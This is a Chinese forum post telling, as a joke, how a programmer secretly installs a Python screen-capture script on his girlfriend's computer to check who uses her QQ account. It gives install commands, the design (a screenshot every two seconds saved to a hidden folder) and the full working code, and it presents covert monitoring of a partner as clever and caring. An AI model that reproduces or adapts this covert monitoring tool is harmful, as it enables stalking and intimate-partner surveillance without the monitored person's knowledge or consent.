无名商城论坛

搜索
查看: 555|回复: 0

[TSD/原创] 【NB】Python男友用20行代码写了个小工具

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 19:27:29 | 显示全部楼层 |阅读模式

[滑稽]
事情是这样的
python小哥哥发现女朋友,最近总是很忙的样子

晚上,匆匆忙忙道过晚安就不说话了

可是,QQ头像却会偶尔亮起来

小哥哥非常担心,是不是账号被盗了呢

然后,就想帮女朋友排查一下

所以就用python写了一个录制脚本,悄悄装在女友电脑上

模块安装
首先,我们需要用到两个python的两个模块,win32gui和PyQt5

pip install win32gui
pip install PyQt5

设计思路
1、通过win32gui模块,调用windows系统的截屏功能,对屏幕进行录制。

2、通过timer定时器,实现每隔2秒钟,截屏一次,从而记录屏幕使用者的操作记录。

3、对截取的屏幕按照 截取时间进行命名,并存储到一个比较隐秘的文件夹路径中。

这样,我们通过,查看文件夹中的照片,就可以清晰的掌握 不明登陆者,在电脑上进行了什么样的操作。



代码实现
只需要简简单单10多行代码,就可以实现对windows系统电脑屏幕的录制。

代码如下:

#定义函数,每个2秒 抓取一次屏幕截屏
def timer(n):
    while True:  
        dt= time.strftime('%Y-%m-%d %H%M%S',time.localtime())
        screen = QApplication.primaryScreen()
        img = screen.grabWindow(record).toImage()
        img.save("D:\\images\\"+dt+".jpg")
        time.sleep(n)
if __name__ == "__main__":
    timer(2)

运行方法
1、python环境检查
命令行运行 python,查看python版本为3.6.5

PS C:\Users\lex\Desktop> python
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
2、程序运行
命令行运行 python py-screen.py 即可,效果如下图:
完整代码
from PyQt5.QtWidgets import QApplication
import win32gui
import sys
import time
record = win32gui.FindWindow(None, 'C:\Windows\system32\cmd.exe')
app = QApplication(sys.argv)
def timer(n):
    while True:  
        dt= time.strftime('%Y-%m-%d %H%M%S',time.localtime())
        screen = QApplication.primaryScreen()
        img = screen.grabWindow(record).toImage()
        img.save("D:\\images\\"+dt+".jpg")
        time.sleep(n)
if __name__ == "__main__":
    timer(2)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表